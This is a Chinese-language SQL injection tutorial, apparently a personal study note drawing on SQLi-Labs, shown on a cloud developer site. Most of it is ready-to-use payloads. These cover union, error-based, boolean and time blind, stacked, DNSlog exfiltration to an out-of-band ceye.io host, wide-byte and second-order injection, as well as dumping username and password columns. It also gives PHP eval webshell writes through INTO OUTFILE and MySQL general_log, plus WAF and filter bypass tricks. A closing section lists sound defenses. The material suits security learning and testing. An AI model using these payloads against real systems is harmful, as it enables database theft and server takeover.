一、SQL注入基础

1.1 什么是SQL注入

SQL注入是指攻击者通过在Web表单输入或URL参数中插入恶意的SQL语句,改变后台SQL语句的语义,从而执行非预期的数据库操作。由于后端程序对用户输入过滤不严,攻击者可以获取、篡改甚至删除数据库中的数据,严重时可直接控制服务器。

1.2 SQL注入的危害

  • 数据库敏感信息泄露(用户数据、密码、商业机密)

  • 绕过认证(万能密码)

  • 执行系统命令(若数据库支持)

  • 写入Webshell,获取服务器权限


二、判断是否存在SQL注入

2.1 单引号测试法

在参数后添加单引号,如:

http://example.com/page.php?id=1'

若页面返回错误(如MySQL语法错误),则说明可能存在SQL注入。因为单引号破坏了原始SQL语句的引号平衡,导致数据库报错。

2.2 数字型注入判断

当参数为数字时,原始SQL大致为:SELECT * FROM table WHERE id = $id

输入 id=1 and 1=1,页面正常。

输入 id=1 and 1=2,页面异常(或返回不同内容)。

若两次结果不同,说明存在数字型注入。

2.3 字符型注入判断

当参数为字符时,原始SQL大致为:SELECT * FROM table WHERE id = '$id'

输入 id=1' and '1'='1,页面正常。

输入 id=1' and '1'='2,页面异常。

则说明存在字符型注入,且闭合方式为单引号。

2.4 探索闭合方式

有时开发者会使用不同的引号组合,如 "$id"('$id')("$id") 等。可以通过尝试以下payload确定闭合方式:

1' --+
1" --+
1') --+
1") --+
1')) --+

若某种方式使页面正常,则找到了正确的闭合符。


三、SQL注入类型详解

3.1 联合查询注入(Union注入)

联合查询利用 UNION 关键字将额外查询的结果拼接到原结果集中。前提是必须知道当前查询的字段数。

3.1.1 判断字段数

使用 ORDER BY 逐步增加数字,直到页面报错:

?id=1' ORDER BY 3 --+   // 正常
?id=1' ORDER BY 4 --+   // 报错,说明字段数为3
3.1.2 确定显示位

让前一个查询结果为空(如 id=-1),使联合查询的结果显示在页面上:

?id=-1' UNION SELECT 1,2,3 --+

页面中显示的数字即为可利用的显示位。

3.1.3 获取数据库信息
# 当前数据库名和版本
?id=-1' UNION SELECT 1,database(),version() --+

# 获取所有表名
?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+

# 获取指定表的字段名
?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+

# 获取数据
?id=-1' UNION SELECT 1,2,group_concat(username,0x7e,password) FROM users --+

注意UNION 有一个特性:如果查询不到数据,会构建虚拟数据,这在某些绕过场景中可以利用。

3.2 报错注入

当页面没有直接显示查询结果,但会输出数据库错误信息时,可使用报错注入。常用函数:updatexml()extractvalue()floor() 等。

# 爆库
?id=1' AND updatexml(1,concat(0x7e,database(),0x7e),1) --+

# 爆表
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1) --+

# 爆字段
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e),1) --+

# 爆数据(需使用子查询绕过限制)
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(username) FROM (SELECT username FROM users) a),0x7e),1) --+

3.3 布尔盲注

当页面无报错信息,也不显示数据,但可以根据页面返回的“真”或“假”来判断条件是否成立。

# 判断数据库长度
?id=1' AND LENGTH(database())=8 --+

# 逐字符猜解数据库名
?id=1' AND SUBSTR(database(),1,1)='s' --+

# 猜表个数
?id=1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())=4 --+

# 猜表名长度
?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=6 --+

# 猜表名字符
?id=1' AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='e' --+

3.4 时间盲注

当页面没有任何变化(无论真假都返回相同内容)时,可利用时间延迟函数判断条件。

# 判断数据库长度
?id=1' AND IF(LENGTH(database())=8,SLEEP(5),1) --+

# 判断字符
?id=1' AND IF(SUBSTR(database(),1,1)='s',SLEEP(5),1) --+

# 也可用ASCII比较
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115,SLEEP(5),1) --+

3.5 堆叠注入

堆叠注入允许一次执行多条SQL语句,用分号 ; 隔开。但需要后端使用支持多语句的数据库函数(如PHP的 mysqli_multi_query())。

触发条件

  • 存在SQL注入漏洞

  • 未过滤分号

  • 数据库连接支持多语句执行

常用命令

# 查看所有数据库
1; SHOW DATABASES;

# 查看当前库所有表
1; SHOW TABLES;

# 查看某表结构
1; SHOW COLUMNS FROM users;

# 若SELECT被过滤,可使用 HANDLER 命令读取数据
0'; HANDLER `users` OPEN; HANDLER `users` READ FIRST;

3.6 DNSlog盲注

当目标完全无回显,且存在防火墙封IP等限制时,可借助DNSlog平台获取数据。原理是利用 load_file() 函数发起一个UNC路径请求,域名部分拼接查询结果,DNSlog平台会记录请求的域名,从而得到数据。

条件

payload示例

# 爆数据库名
?id=1' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.xxxx.ceye.io\\sql')) --+

# 爆表名(注意子查询只能返回一行,需配合LIMIT)
?id=1' AND LOAD_FILE(CONCAT('\\\\',(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),'.xxxx.ceye.io\\sql')) --+

3.7 宽字节注入

当数据库使用GBK编码时,反斜杠 \ 的ASCII码为 %5c,而 %df%5c 会被解释成一个中文字符,导致转义失效。常用于绕过 addslashes() 或 magic_quotes_gpc

# 用 %df' 代替单引号
?id=1%df' UNION SELECT 1,2,3 --+

后续操作与联合查询一致,只需保持 %df' 作为闭合符。

3.8 二次注入

二次注入是指攻击者将恶意数据存入数据库,这些数据在入库时被转义或处理,但当它们被取出拼接到其他SQL语句中时,触发注入。

经典场景:注册用户名为 admin'#,当修改密码时,后端可能执行:

UPDATE users SET password='123' WHERE username='admin'#';

# 注释掉后面的条件,实际修改的是 admin 用户的密码,从而实现越权。

3.9 Cookie注入

Cookie注入是指注入点位于Cookie参数中。许多程序只对GET/POST参数进行过滤,而忽略Cookie。

测试方法:使用浏览器开发者工具或Burp Suite修改Cookie值,加上单引号看是否报错。

利用方式:与GET注入类似,但需要将payload进行URL编码(Cookie中通常需要编码特殊字符)。

Cookie: id=1' AND 1=1 --+

3.10 OA注入

OA(办公自动化)系统通常包含大量交互功能,如用户登录、表单提交、搜索框、工作流等,这些都是潜在的注入点。

常见注入点

  • 登录框(用户名、密码)

  • 搜索框(关键字搜索)

  • 数据导入/导出功能

  • URL参数(如 ?id=?type=

测试思路:先通过抓包观察参数位置,然后按照常规注入手法测试。OA系统往往业务逻辑复杂,需要结合具体功能构造闭合方式。


四、高级利用与权限提升

4.1 通过文件写入获取Webshell

若当前数据库用户拥有 FILE 权限且 secure_file_priv 为空,可以使用 INTO OUTFILE 写入一句话木马。

条件

  • 知道网站绝对路径

  • 有写入权限

  • secure_file_priv 为空(可通过 show variables like 'secure_file_priv' 查看)

payload

?id=-1' UNION SELECT 1,'<?php @eval($_POST["cmd"]);?>',3 INTO OUTFILE 'D:/phpstudy_pro/WWW/shell.php' --+

4.2 通过phpMyAdmin写入Webshell

如果目标安装了phpMyAdmin且已登录,可以尝试以下方法:

方法一:直接 INTO OUTFILE

在phpMyAdmin的SQL执行框中输入:

SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'D:/phpstudy_pro/WWW/shell2.php'
方法二:修改全局日志写木马

当 secure_file_priv 不为空或没有权限时,可尝试修改MySQL日志路径。

# 查看日志配置
SHOW VARIABLES LIKE '%general%';

# 开启通用查询日志
SET global general_log = ON;

# 修改日志路径为Web目录下的php文件
SET global general_log_file = 'D:/phpstudy_pro/WWW/shell_log.php';

# 执行查询,写入一句话
SELECT '<?php @eval($_POST["cmd"]);?>';

之后访问 shell_log.php,即可用蚁剑连接。

注意:此方法要求当前用户有修改全局变量的权限(通常需要root)。


五、常见过滤绕过技巧

5.1 关键字过滤绕过

  • 双写or → oorr,过滤中间 or 后还剩 or

  • 大小写混合SeLeCt

  • 注释符插入sel/**/ect

5.2 逻辑运算符替代

  • AND → &&

  • OR → ||

  • 注意URL编码:&& 在URL中需写成 %26%26

5.3 引号过滤绕过

  • 使用十六进制表示字符串:users → 0x7573657273

5.4 空格过滤绕过

  • 使用注释 /**/ 代替空格

  • 使用括号 ( 分隔关键词,如 SELECT(table_name)FROM...

5.5 参数污染(HPP)

当后端只过滤第一个参数,但实际接收最后一个参数时,可传入两个同名参数:

?id=1&id=-1' UNION SELECT 1,2,database() --+

第一个 id=1 骗过WAF,第二个注入语句被执行。


六、总结与防御

6.1 使用参数化查询

最有效的防御方式是使用预处理语句(如PDO、MySQLi的绑定参数),将SQL结构与数据分离。

6.2 输入验证与过滤

  • 对整数参数使用 intval() 强制转换

  • 对字符串进行转义(但仅依赖转义不够,需配合其他措施)

  • 使用白名单验证输入内容

6.3 最小权限原则

数据库连接账户只授予必要权限,避免使用 FILESUPER 等高危权限。

6.4 安全配置

  • 关闭错误信息显示(display_errors=Off

  • 设置 secure_file_priv 为指定目录或NULL

  • 定期更新数据库和中间件补丁

6.5 定期安全审计

使用自动化工具(如SQLMap)扫描,结合手动测试,发现潜在漏洞并及时修复。

 

参考资料:个人学习笔记及网络公开资源,部分payload示例来自SQLi-Labs实验环境。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐